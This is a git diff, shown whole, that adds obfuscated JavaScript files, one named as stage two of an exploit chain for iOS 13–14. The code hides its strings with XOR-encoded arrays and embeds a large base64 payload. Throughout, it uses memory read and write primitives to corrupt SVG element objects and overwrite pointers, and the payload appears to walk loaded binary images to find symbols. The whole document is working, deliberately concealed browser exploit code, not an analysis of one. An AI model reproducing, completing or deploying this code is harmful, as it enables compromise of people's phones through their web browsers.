+ }, et = [document.createElementNS(([37, 57, 57, 61, 119, 98, 98, 58, 58, 58, 99, 58, 126, 99, 34, 63, 42, 98, 127, 125, 125, 125, 98, 62, 59, 42].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")), ([95, 92, 122, 86, 87, 79, 86, 85, 79, 92, 116, 88, 77, 75, 80, 65].map(x => { + return String.fromCharCode(x ^ 57); + }).join(""))), document.createElementNS(([81, 77, 77, 73, 3, 22, 22, 78, 78, 78, 23, 78, 10, 23, 86, 75, 94, 22, 11, 9, 9, 9, 22, 74, 79, 94].map(x => { + return String.fromCharCode(x ^ 57); + }).join("")), ([41, 42, 12, 32, 33, 57, 32, 35, 57, 42, 2, 46, 59, 61, 38, 55].map(x => { + return String.fromCharCode(x ^ 79); + }).join(""))), document.createElementNS(([15, 19, 19, 23, 93, 72, 72, 16, 16, 16, 73, 16, 84, 73, 8, 21, 0, 72, 85, 87, 87, 87, 72, 20, 17, 0].map(x => { + return String.fromCharCode(x ^ 103); + }).join("")), ([55, 52, 18, 62, 63, 39, 62, 61, 39, 52, 28, 48, 37, 35, 56, 41].map(x => { + return String.fromCharCode(x ^ 81); + }).join("")))], ot = et[0].orderX, st = et[1].orderX, at = et[2].orderX, ct = JSON.parse(([48, 90, 69, 90, 71, 75, 48, 54, 54].map(x => { + return String.fromCharCode(x ^ 107); + }).join(""))); + tt[0] = ot, tt[1] = st, tt[2] = at, tt[3] = ct, tt[4] = (1496929129 ^ 1508376139), await h.Je(nt); + const ht = h.Ki(0), + lt = h.Ki(8), + ft = h.Ki(16), + wt = h.Ki(24), + ut = { + ro: [], + eo: [], + oo: [] + }; + await h.Je(lt); + const gt = h.Ki(24); + await h.Je(gt), ut.eo.push([BigInt(40), h.Ki(40)]), ut.eo.push([BigInt(48), h.Ki(48)]); + do { + await rt(gt + BigInt(16), BigInt(0)), await rt(gt + BigInt(24), BigInt(0)), h.Ke() + } while (h.Ki(16) !== BigInt(0) || h.Ki(24) !== BigInt(0)); + await h.Je(ht); + const dt = h.Ki(24); + await h.Je(dt), ut.ro.push([BigInt(40), h.Ki(40)]), ut.ro.push([BigInt(48), h.Ki(48)]); + do { + await rt(dt + BigInt(16), BigInt(0)), await rt(dt + BigInt(24), BigInt(0)), h.Ke() + } while (h.Ki(16) !== BigInt(0) || h.Ki(24) !== BigInt(0)); + await h.Je(ft); + const bt = h.Ki(24); + await h.Je(bt), ut.oo.push([BigInt(40), h.Ki(40)]), ut.oo.push([BigInt(48), h.Ki(48)]); + do { + await rt(bt + BigInt(16), BigInt(0)), await rt(bt + BigInt(24), BigInt(0)), h.Ke() + } while (h.Ki(16) !== BigInt(0) || h.Ki(24) !== BigInt(0)); + await h.Je(dt); + do { + await rt(dt + BigInt(32), bt + BigInt(32) - BigInt(28)), h.Ke() + } while (h.Ki(32) !== bt + BigInt(32) - BigInt(28)); + await h.Je(gt); + do { + await rt(gt + BigInt(32), bt + BigInt(32) - BigInt(28) + BigInt(4)), h.Ke() + } while (h.Ki(32) !== bt + BigInt(32) - BigInt(28) + BigInt(4)); + const Bt = new M(dt, ot, gt, st, bt, at, wt, ct); + for (const t of [ + [gt, ut.eo], + [dt, ut.ro], + [bt, ut.oo] + ]) { + const i = t[0], + n = t[1]; + for (const t of n) { + const n = t[0], + r = t[1]; + Bt.Hi(i + BigInt(n), r) + } + } + for (const t in et) { + const i = et[t], + r = Bt.tA(i), + e = n(Bt.Ki(r + BigInt(24))), + o = Bt.br(e + BigInt(24)); + Bt.dr(e + BigInt(24), o + (1733968200 ^ 1733951816)) + } + const It = [ot, st, at]; + for (const t in It) { + const i = It[t], + r = Bt.tA(i), + e = n(Bt.Ki(r + BigInt(24))), + o = Bt.br(e + BigInt(8)); + Bt.dr(e + BigInt(8), o + (1361928816 ^ 1361912432)) + } + return i.Ji = N, i.Li = F, new z(t, Bt) + }(c); + for (const t of e) { + if (null === t) continue; + const i = l.tr(t); + l.dr(i + 24, 0), l.dr(i + 28, 0), l.dr(i + 32, 0), l.dr(i + 36, 0) + } + for (const t in o) { + const i = o[t], + n = l.tr(i), + r = l.Dr(n + 24), + e = l.br(r + 0); + l.dr(r + 0, e + (1129085514 ^ 1129069130)) + } + return o.length = 0, e.length = 0, l + }() + }(); + P.zn.Xn = i + } catch (t) { + throw P.zn.Xn = void 0, t + } +}, r; \ No newline at end of file diff --git a/other/Stage2_13.0_14.x_breezy.js b/other/Stage2_13.0_14.x_breezy.js new file mode 100644 index 0000000..412a120 --- /dev/null +++ b/other/Stage2_13.0_14.x_breezy.js @@ -0,0 +1 @@ +let r={};globalThis.obChTK.fgPoij(([83, 80, 6, 0, 3, 84, 87, 7, 82, 0, 83, 87, 3, 1, 6, 4, 9, 84, 7, 8, 80, 83, 8, 5, 4, 85, 3, 82, 85, 87, 85, 4, 0, 84, 4, 2, 85, 82, 85, 9].map(x => {return String.fromCharCode(x ^ 49);}).join("")),"bGV0IHI9e307Y29uc3QgeD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMjUsIDEyNywgMTI2LCAxMjIsIDEyMCwgMTIyLCAxMjAsIDEyNiwgNDQsIDEyNiwgMTIyLCAxMjAsIDEyNywgMTEzLCA0MiwgNDEsIDQxLCA0NCwgMTIwLCA0NSwgMTI1LCAxMjcsIDQ1LCAxMjYsIDQ0LCAxMTMsIDQ1LCA0MywgMTEzLCAxMjMsIDEyMSwgMTIyLCAxMjAsIDQzLCAxMjAsIDQ2LCAxMjUsIDEyMiwgMTI0LCAxMjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzIpO30pLmpvaW4oIiIpKSkse046R309Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNjUsIDY3LCA2NiwgNzAsIDY4LCA3MCwgNjgsIDY2LCAxNiwgNjYsIDcwLCA2OCwgNjcsIDc3LCAyMiwgMjEsIDIxLCAxNiwgNjgsIDE3LCA2NSwgNjcsIDE3LCA2NiwgMTYsIDc3LCAxNywgMjMsIDc3LCA3MSwgNjksIDcwLCA2OCwgMjMsIDY4LCAxOCwgNjUsIDcwLCA2NCwgNjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE2KTt9KS5qb2luKCIiKSkpLFA9Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNCwgMSwgMywgMywgMTIsIDg2LCA4NCwgNiwgODcsIDQsIDAsIDQsIDEyLCA4NywgODQsIDcsIDg0LCAxMywgODMsIDEsIDUsIDg3LCA4MCwgNywgMTMsIDIsIDgzLCAzLCAxLCAzLCA4MSwgMSwgODEsIDIsIDAsIDEyLCA2LCA4MCwgODcsIDVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTMpO30pLmpvaW4oIiIpKSkse3puOkZ9PWdsb2JhbFRoaXMub2JDaFRLLmhQTDNPbigoWzEwNywgMTEwLCAxMDgsIDEwOCwgOTksIDU3LCA1OSwgMTA1LCA1NiwgMTA3LCAxMTEsIDEwNywgOTksIDU2LCA1OSwgMTA0LCA1OSwgOTgsIDYwLCAxMTAsIDEwNiwgNTYsIDYzLCAxMDQsIDk4LCAxMDksIDYwLCAxMDgsIDExMCwgMTA4LCA2MiwgMTEwLCA2MiwgMTA5LCAxMTEsIDk5LCAxMDUsIDYzLCA1NiwgMTA2XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKTt9KS5qb2luKCIiKSkpLFo9Ri5MbjtmdW5jdGlvbiBZKHQscj0hMSl7Y29uc3QgZT1QLnpuLlhuLG49ZS5pcih0LkgoMTYpKTtsZXQgcz10LkgoMzIpLGk9bmV3IHguVnQoMCwwKSxvPSEwLGg9ITEsYz1udWxsLGw9bnVsbCxmPW51bGwsYT0wLHU9bnVsbCxkPW51bGwsdz1udWxsLGc9bnVsbCxtPSExO2NvbnN0IEU9W107Zm9yKGxldCBmPTA7ZjxuO2YrKyl7Y29uc3Qgbj1lLmlyKHMpLGY9ZS5pcihzLkgoNCkpO3N3aXRjaChuKXtjYXNlIDE1Om09ITA7YnJlYWs7Y2FzZSA1MDpyJiYxPT09ZS5pcihzLkgoOCkpJiYodz0hMCxnPWUuaXIocy5IKDEyKSkpO2JyZWFrO2Nhc2UgMjU6e2NvbnN0IG49e1hlOmUuVHIocy5IKDgpLDE2KSxxZTplLlVyKHMuSCgyNCkpLEVvOmUuVXIocy5IKDI0KSksT286ZS5VcihzLkgoMzIpKSxRZTplLlVyKHMuSCg0MCkpLHpvOmUuVXIocy5IKDQ4KSksJG86ZS5pcihzLkgoNTYpKSxxbzplLmlyKHMuSCg2MCkpLE1vOmUuaXIocy5IKDY0KSksZmxhZ3M6ZS5pcihzLkgoNjgpKSxEbzpzLkgoNzIpLExvOnt9LGR1bXAoKXt9fTtpZihyKWZvcihsZXQgdD0wO3Q8bi5Nbzt0Kz0xKXtjb25zdCByPW4uRG8uSCg4MCp0KSxzPXtYZTplLlRyKHIuSCgxNiksMTYpLFZvOmUuVHIoci5IKDApLDE2KSxxZTplLlVyKHIuSCgzMikpLE9vOmUuVXIoci5IKDQwKSksUWU6ZS5pcihyLkgoNDgpKSxkdW1wKCl7fX07bi5Mb1tzLlZvXT1zfXN3aXRjaChFLnB1c2gobiksbi5YZSl7Y2FzZShbMTExLCAxMTEsIDEwMCwgMTE3LCAxMDQsIDEwMF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA0OCk7fSkuam9pbigiIikpOm4uUWUuRXQoKT9vPSExOmw9dC5zdWIobi5RZSksaT10LnN1YihuLnFlKTticmVhaztjYXNlKFsxMDUsIDEwNSwgMTIyLCAxMjcsIDEyMCwgMTI1LCAxMTUsIDExNCwgMTI3LCA5OF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA1NCk7fSkuam9pbigiIikpOnU9bi5xZS5hZGQoaSkuc3ViKG4uUWUpO2JyZWFrO2Nhc2UoWzQ0LCA0NCwgNTAsIDM4LCAzOSwgNTksIDQ0LCA0OCwgNjAsIDYxLCAzMiwgMzldLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE1KTt9KS5qb2luKCIiKSk6aWYocil7Y29uc3QgdD1uLkxvLl9fYXV0aF9nb3Q7dm9pZCAwIT09dCYmKGQ9dC5xZS5hZGQoaSkpfX1icmVha31jYXNlICg0Mjk0OTY3Mjk2ICsgKDkyOTkxNjc4MyBeIC0xMjE3NTY2ODk5KSk6aD0hMCxjPWUuaXIocy5IKDQwKSksYT1lLmlyKHMuSCg0NCkpO2JyZWFrO2Nhc2UgKDQyOTQ5NjcyOTYgKyAoMTg2NzY1ODMyOSBeIC0yNzk4MjUzMDIpKTpoPSEwLGM9ZS5pcihzLkgoOCkpLGE9ZS5pcihzLkgoMTIpKX1zPXMuSChmKX1sZXQgXz1pO2lmKHImJiFvJiYhbSl7Y29uc3Qgcj1lLmlyKHQuSCg0KSk7aWYodyYmKDE5MzI2ODM2MDggXiAxOTE1OTA2Mzg4KT09PXImJmc+PSgxNDY2ODQ5NjUwIF4gMTQ2NjI1OTgyNikpe2lmKG51bGw9PT1kKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHQ9ZS5VcihkKS5EdCgpO2lmKHQuRXQoKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2Zvcih0PXQuQnQodC5pdCUoMTY5OTE2OTY0NiBeIDE2OTkxNzM3NDIpKTsoNDI5NDk2NzI5NiArICgxMzE0NDA0NDA0IF4gLTEzMzAyNjUzNDkpKSE9PWUuaXIodCk7KXQ9dC5CdCgoMTcxNDk3MjQ5MSBeIDE3MTQ5NzY1ODcpKTtjb25zdCByPXRoaXMuWG8odCk7bD1yLkhvLlpvLF89ci5Iby5Lb319Zm9yKGxldCB0PTA7dDxFLmxlbmd0aDt0Kyspe2NvbnN0IHI9RVt0XSxlPXIucWU7ci5xZT1lLmFkZChpKX1yZXR1cm4gaCYmYyYmKGY9dS5IKGMpKSxuZXcgdHQoe0dvOnQsSm86bixRbzppLFlvOnUsWm86bCxLbzpfLHRoOmYscmg6YX0sRSl9ci51cj1mdW5jdGlvbigpe3JldHVybiBZKFAuem4ueW4sITApfSxyLlhvPVk7Y2xhc3MgdHR7Y29uc3RydWN0b3IodCxyKXt0aGlzLkhvPXQsdGhpcy5laD1yLHRoaXMubmg9bmV3IFVpbnQ4QXJyYXkoW10pLHRoaXMuc2g9ITF9c3IoKXtyZXR1cm4gbmV3IHJ0KHRoaXMpfWFyKCl7cmV0dXJuIG5ldyBldCh0aGlzKX1paCh0KXtjb25zdCByPXRoaXMub2goKFsxMDddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTIpfSkuam9pbigiIikpICsgKHQpKTtyZXR1cm4gcj90aGlzLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1vaCh0KXtpZighMT09PXRoaXMuc2gpe3RoaXMuc2g9ITA7Y29uc3QgdD1uZXcgVWludDMyQXJyYXkodGhpcy5Iby5yaCszPj4yKTtmb3IobGV0IHI9MDtyPHQubGVuZ3RoO3IrKyl0W3JdPVAuem4uWG4uaXIodGhpcy5Iby50aC5IKDQqcikpO3RoaXMubmg9bmV3IFVpbnQ4QXJyYXkodC5idWZmZXIpfWNvbnN0IHI9dGhpcy5uaDtsZXQgZT0iIixuPTAscz0hMTtmb3IoOyFzOyl7cz0hMDtsZXQgaT0wLG89MDtkb3tpKz0oKDIwMDQ1MDQ0MDcgXiAyMDA0NTA0MzYwKSZyW25dKTw8byxvKz03fXdoaWxlKCgxNTk4MTkyMjM4IF4gMTU5ODE5MjM2NikmcltuKytdKTtpZihlPT09dCYmMCE9PWkpe24rKztsZXQgdD0wO289MDtkb3t0Kz0oKDIwMTg5OTI2OTEgXiAyMDE4OTkyNzE2KSZyW25dKTw8byxvKz03fXdoaWxlKCgxNzgzNzE2MTgwIF4gMTc4MzcxNjMwOCkmcltuKytdKTtyZXR1cm4gdH1uKz1pO2NvbnN0IGg9cltuKytdO2ZvcihsZXQgaT0wO2k8aDtpKyspe2xldCBpPSIiO2Zvcig7MCE9PXJbbl07KWkrPVN0cmluZy5mcm9tQ2hhckNvZGUocltuKytdKTtuKys7bGV0IGg9MDtvPTA7ZG97aCs9KCgyMDUzNTMwNDc5IF4gMjA1MzUzMDM4NCkmcltuXSk8PG8sbys9N313aGlsZSgoMTkzNjk0NjUxNCBeIDE5MzY5NDY2NDIpJnJbbisrXSk7aWYoaS5sZW5ndGgmJmUraT09PXQuc3Vic3RyKDAsZS5sZW5ndGgraS5sZW5ndGgpKXtlKz1pLG49aCxzPSExO2JyZWFrfX19cmV0dXJuIDB9fWNsYXNzIHJ0e2NvbnN0cnVjdG9yKHQpe3RoaXMuaGg9dCx0aGlzLmxoPXRoaXMuaGguSG8uR299aWgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbMTA5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDUwKX0pLmpvaW4oIiIpKSArICh0KSk7cmV0dXJuIHI/dGhpcy5oaC5Iby5Hby5IKHIpOm5ldyB4LlZ0KDAsMCl9ZmgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbNTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTAyKX0pLmpvaW4oIiIpKSArICh0KSk7aWYoIXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcj90aGlzLmhoLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1haCh0KXtyZXR1cm4gMCE9PXRoaXMuaGgub2goKFs1XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKX0pLmpvaW4oIiIpKSArICh0KSl9dWgoLi4udCl7Zm9yKGNvbnN0IHIgb2YgdCl0cnl7cmV0dXJuIHRoaXMuZmgocil9Y2F0Y2godCl7Y29udGludWV9dGhyb3cgbmV3IEVycm9yKCIiKX19Y2xhc3MgZXR7Y29uc3RydWN0b3IodCl7dGhpcy5oaD10LHRoaXMuZGg9bnVsbCx0aGlzLndoPXRoaXMuaGguSG8uR28ueXQoKX1paCh0KXtjb25zdCByPXRoaXMuaGgub2goKFsyNV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA3MCl9KS5qb2luKCIiKSkgKyAodCkpO3JldHVybiByP3RoaXMud2grcjowfXVoKC4uLnQpe2Zvcihjb25zdCByIG9mIHQpdHJ5e3JldHVybiB0aGlzLmZoKHIpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9YWgodCl7cmV0dXJuIDAhPT10aGlzLmhoLm9oKChbMTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzgpfSkuam9pbigiIikpICsgKHQpKX1maCh0KXtjb25zdCByPXRoaXMuaGgub2goKFs1MV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMDgpfSkuam9pbigiIikpICsgKHQpKTtpZighcil0aHJvdyBuZXcgRXJyb3IoIiIpO3JldHVybiB0aGlzLndoK3J9Z2godCl7cmV0dXJue1hlOnQuWGUscWU6dC5xZS55dCgpLEVvOnQuRW8ueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpLHpvOnQuem8ueXQoKSwkbzp0LiRvLHFvOnQucW8sTW86dC5NbyxmbGFnczp0LmZsYWdzLERvOnQuRG8ueXQoKSxMbzp0LkxvfX1taCh0KXtyZXR1cm57WGU6dC5YZSxWbzp0LlZvLHFlOnQucWUueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpfX1FaCh0KXtmb3IobGV0IHI9MDtyPHRoaXMuaGguZWgubGVuZ3RoO3IrKylpZih0aGlzLmhoLmVoW3JdLlhlPT09dClyZXR1cm4gdGhpcy5naCh0aGlzLmhoLmVoW3JdKTtyZXR1cm4gbnVsbH1faCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSl7aWYoMCE9PU9iamVjdC5rZXlzKGUuTG8pLmxlbmd0aCl7Y29uc3QgdD1lLkxvW3JdO3JldHVybiB2b2lkIDAhPT10P3RoaXMubWgodCk6bnVsbH17bGV0IG49bnVsbDtmb3IobGV0IHM9MDtzPGUuTW87cysrKXtjb25zdCBpPWUuRG8rODAqcyxvPXQsaD1QLnpuLlhuLkVyKGksMTYpLGM9e1hlOm8sVm86aCxxZTpQLnpuLlhuLnJyKGkrMzIpLmFkZCh0aGlzLmhoLkhvLlFvKSxPbzpQLnpuLlhuLnJyKGkrNDApLFFlOlAuem4uWG4ucnIoaSs0OCl9O3I9PT1oJiYobj1jKSxlLkxvW2hdPWN9cmV0dXJuIG4/dGhpcy5taChuKTpudWxsfX1yZXR1cm4gbnVsbH1iaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSlmb3IobGV0IG49MDtuPGUuTW87bisrKXtjb25zdCBzPWUuRG8rODAqbixpPXQsbz1QLnpuLlhuLkVyKHMsMTYpO2lmKHI9PT1vKXtjb25zdCB0PXtYZTppLFZvOm8scWU6UC56bi5Ybi5ycihzKzMyKS5hZGQodGhpcy5oaC5Iby5RbyksT286UC56bi5Ybi5ycihzKzQwKSxRZTpQLnpuLlhuLnJyKHMrNDgpfTtyZXR1cm4gdGhpcy5taCh0KX19cmV0dXJuIG51bGx9cGgodCl7Y29uc3Qgcj10aGlzLkVoKHQpO2lmKCFyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIHJ9U2goKXtyZXR1cm4gbnVsbD09PXRoaXMuZGgmJih0aGlzLmRoPW5ldyBudCh0aGlzLmhoLkhvLktvLnl0KCksdGhpcy5oaC5Iby5aby55dCgpKSksdGhpcy5kaH14aCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ucnIocik6bmV3IHguVnQoMCwwKX1JaCh0KXtjb25zdCByPXRoaXMucGgoKFs2MSwgNjEsIDU0LCAzOSwgNTgsIDU0XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDk4KTt9KS5qb2luKCIiKSkpO3JldHVybiB0LXIuRW8rci5xZX1UaCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ubnIocik6MH15aCh0LHIpe2NvbnN0IGU9dGhpcy5paCh0KTtyZXR1cm4gMCE9PWU/UC56bi5Ybi5TcihlKTpyfWtoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpe2NvbnN0IG49ZS5xZSt0O2lmKFAuem4uWG4uYnIobik9PT1yPj4+MCYmUC56bi5Ybi5icihuKzQpPT09ci80Mjk0OTY3Mjk2Pj4+MClyZXR1cm4gbn10aHJvdyBuZXcgRXJyb3IoIiIpfU9oKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbj1lLnFlLHM9ZS5xZStlLk9vO3JldHVybiByPj1uJiZyPHN9emgodCxyLGUpe2NvbnN0IG49dGhpcy5faCh0LHIpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz1uLnFlLGk9bi5xZStuLk9vO3JldHVybiBlPj1zJiZlPGl9UGgodCl7Zm9yKGxldCByPTA7cjx0aGlzLmhoLmVoLmxlbmd0aDtyKyspaWYodGhpcy5PaCh0aGlzLmhoLmVoW3JdLlhlLHQpKXJldHVybiEwO3JldHVybiExfVVoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpaWYoUC56bi5Ybi5EcihlLnFlK3QpPT09cilyZXR1cm4gZS5xZSt0O3Rocm93IG5ldyBFcnJvcigiIil9QWgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OClpZihQLnpuLlhuLkRyKGUucWUrdCk9PT1yKXJldHVybiBQLnpuLlhuLnJyKGUucWUrdCk7dGhyb3cgbmV3IEVycm9yKCIiKX0kaCh0LHIsZSl7Y29uc3Qgbj10aGlzLkVoKHQpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz10aGlzLkVoKHIpO2lmKG51bGw9PT1zKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxzLk9vO3QrPTgpe2NvbnN0IHI9UC56bi5Ybi5EcihzLnFlK3QpO2lmKHI+PW4ucWUmJnI8bi5xZStuLk9vJiYhMD09PWUocixQLnpuLlhuLnJyKHMucWUrdCkpKWJyZWFrfX1xaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsPT09ZSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgdD0wO3Q8ZS5Pbzt0Kz00KXtjb25zdCBuPWUucWUrdDtpZighMD09PXIobixQLnpuLlhuLmJyKG4pKSlicmVha319UmgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OCl7Y29uc3Qgbj1lLnFlK3Q7aWYoITA9PT1yKFoudXQobikpKWJyZWFrfX1DaCh0KXtmb3IoY29uc3QgciBvZiB0aGlzLmhoLmVoKXtjb25zdCBlPVoudXQoci5xZSksbj1aLnV0KHIucWUpLkgoeC5fKHIuT28pKTtpZih0LlBpKGUpJiZ0LlNpKG4pKXJldHVybiByfXJldHVybiBudWxsfX1jbGFzcyBudHtjb25zdHJ1Y3Rvcih0LHIpe3RoaXMuTWg9dCx0aGlzLkRoPXIsdGhpcy5MaD0hMSx0aGlzLkJoPXt9LHRoaXMuaW1hZ2VzPXRoaXMuTmgoKX1WaCgpe3JldHVybiBQLnpuLlhuLkVyKHRoaXMuRGgpfVhoKCl7cmV0dXJuKFs1NCwgNDMsIDYyLCA1NCwgMTMsIDM2LCA5OSwgMTE0LCAxMTQsIDUxLCAzMiwgNjMsIDEwMCwgMTAyLCA1NV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA4Mik7fSkuam9pbigiIikpPT09dGhpcy5WaCgpfVpoKCl7cmV0dXJuIHRoaXMuTWh9TmgoKXtjb25zdCB0PVtdO2lmKCF0aGlzLlZoKCkuc3RhcnRzV2l0aCgoWzEzLCAxNiwgNSwgMTNdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTA1KTt9KS5qb2luKCIiKSkpKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHI9UC56bi5Ybi5icih0aGlzLkRoKzI0KSxlPVAuem4uWG4uYnIodGhpcy5EaCsyOCk7aWYoMD09PXImJjA9PT1lJiYodGhpcy5MaD0hMCxyPVAuem4uWG4uYnIodGhpcy5EaCsoMTI4MjY5MjE4NiBeIDEyODI2OTI1MDYpKSxlPVAuem4uWG4uYnIodGhpcy5EaCsoOTQ2ODkwMzA2IF4gOTQ2ODkwNjMwKSksMD09PXImJjA9PT1lKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgbj0wO248ZTtuKyspe2NvbnN0IGU9dGhpcy5EaCtyKzMyKm4scz1QLnpuLlhuLkRyKGUpK3RoaXMuTWgsaT1QLnpuLlhuLmJyKGUrMjQpLG89UC56bi5Ybi5Fcih0aGlzLkRoK2kpO3QucHVzaCh7YWRkcmVzczpzLHBhdGg6b30pfXJldHVybiB0fWpoKCl7Y29uc3QgdD1bXTtmb3IoY29uc3QgciBvZiB0aGlzLmltYWdlcyl0LnB1c2goci5wYXRoKTtyZXR1cm4gdH1GaCh0LHIpe3JldHVybiB0aGlzLkhoKHQpLmZoKHIpfUtoKHQpe2Zvcihjb25zdCByIG9mIHRoaXMuaW1hZ2VzKXRyeXtyZXR1cm4gdGhpcy5IaChyLnBhdGgpLmZoKHQpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9R2godCl7Zm9yKGxldCByPTA7cjx0aGlzLmltYWdlcy5sZW5ndGg7cisrKWlmKC0xIT09dGhpcy5pbWFnZXNbcl0ucGF0aC5pbmRleE9mKHQpKXJldHVybiB0aGlzLmltYWdlc1tyXS5hZGRyZXNzO3JldHVybiAwfUhoKHQpe2lmKHZvaWQgMD09PXRoaXMuQmhbdF0pe2NvbnN0IHI9dGhpcy5HaCh0KTtpZigwPT09cilyZXR1cm4gbnVsbDt0aGlzLkJoW3RdPVkoeC5WdC51dChyKSkuYXIoKX1yZXR1cm4gdGhpcy5CaFt0XX1KaCh0KXtjb25zdCByPXRoaXMuSGgodCk7aWYobnVsbD09PXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcn1RaCguLi50KXtmb3IoY29uc3QgciBvZiB0KXRyeXtyZXR1cm4gdGhpcy5KaChyKX1jYXRjaCh0KXt9dGhyb3cgbmV3IEVycm9yKCIiKX19cmV0dXJuIHI7");const x=globalThis.obChTK.hPL3On(([5, 7, 6, 2, 0, 2, 0, 6, 84, 6, 2, 0, 7, 9, 82, 81, 81, 84, 0, 85, 5, 7, 85, 6, 84, 9, 85, 83, 9, 3, 1, 2, 0, 83, 0, 86, 5, 2, 4, 7].map(x => {return String.fromCharCode(x ^ 48);}).join(""))),{N:G,tn:W,nn:C,Vt:m,U:j,An:S,vn:O,v:o,I:u,B:s}=globalThis.obChTK.hPL3On(([69, 71, 70, 66, 64, 66, 64, 70, 20, 70, 66, 64, 71, 73, 18, 17, 17, 20, 64, 21, 69, 71, 21, 70, 20, 73, 21, 19, 73, 67, 65, 66, 64, 19, 64, 22, 69, 66, 68, 71].map(x => {return String.fromCharCode(x ^ 112);}).join(""))),P=globalThis.obChTK.hPL3On(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => {return String.fromCharCode(x ^ 51);}).join("")));class it{constructor(){this.tc=null,this.ic=null,this.cc=!1}da(t,i){return new x.Vt(0,0)}er(t,i){return new x.Vt(0,0)}wa(t,i){return new x.Vt(0,0)}ha(t,i){return new x.Vt(0,0)}}r.sc=it;class ct{constructor(t){this.lc=t}oc(t){let i=0;const c=[];for(let s=0;s>>0==(1129002616 ^ 1464546936)?c.push(-(1315785317 ^ 1248676453)):c.push(-1)}return{ac:i,mask:c}}hc(t){const i=this.lc.Jh(t),c=new Set([(4294967296 + (1161907565 ^ -1820441230)),(4294967296 + (828860772 ^ -413638309)),(4294967296 + (1417042517 ^ -2109124086)),(4294967296 + (1834239813 ^ -1150595270)),(4294967296 + (762009940 ^ -78360117)),(4294967296 + (2035775075 ^ 